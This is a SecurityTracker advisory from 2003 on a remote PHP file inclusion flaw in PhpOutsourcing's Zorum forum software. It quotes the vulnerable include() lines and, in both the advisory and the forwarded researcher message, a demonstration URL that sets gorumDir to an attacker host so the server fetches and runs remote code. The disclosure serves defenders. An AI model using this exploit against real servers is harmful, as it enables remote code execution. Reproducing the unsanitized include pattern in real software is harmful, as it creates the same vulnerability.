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Category:   Application (Forum/Board/Portal)  >   Zorum Vendors:   PhpOutsourcing
Zorum Forum Software Input Validation Flaw Lets Remote Users Include Remote PHP Code to Be Executed on the Target Server
SecurityTracker Alert ID:  1005971
SecurityTracker URL:  http://securitytracker.com/id/1005971
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jan 23 2003
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 3.0, 3.1, 3.2
Description:   An include file error was reported in PhpOutsourcing's Zorum software. A remote user can execute arbitrary code on the target server.

It is reported that the 'include.php' file includes several other PHP files by reference to the '$gorumDir' variable. A remote user can create a URL that specifies a remote server location for that variable, causing the target server to execute arbitrary PHP code hosted at the remote server location. The PHP code can include operating system shell commands.

The affected variables include:

generformlib_multipleselection.php
generformlib_groupselection.php
generformlib_filebutton.php
group.php

As a demonstration exploit, a remote user can supply the following type of URL with some malicious code located in the 'http://[attacker]/group.php' file:

http://[target]/[forum_dir]/include.php?gorumDir=http://[attacker]/

Impact:   A remote user can execute arbitrary shell commands on the target server with the privileges of the target web server.
Solution:   No solution was available at the time of this entry.
Vendor URL:  zorum.phpoutsourcing.com/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Zorum Portal (PHP)




Version : 3.0;3.1;3.2
Website : http://zorum.phpoutsourcing.com/
Problem : Include file


File:
---------------------------------
include.php
---------------------------------

PHP Code:
---------------------------------
[...]
include("$gorumDir/generformlib_multipleselection.php");
include("$gorumDir/generformlib_groupselection.php");
include("$gorumDir/generformlib_filebutton.php");
include("$gorumDir/group.php");
[...]
---------------------------------

Exploit :
---------------------------------
http://[target]/[forum_dir]/include.php?gorumDir=http://[attacker]/
-->
include http://[attacker]/group.php on remote server
---------------------------------

--
magas@mail.lt


 
 


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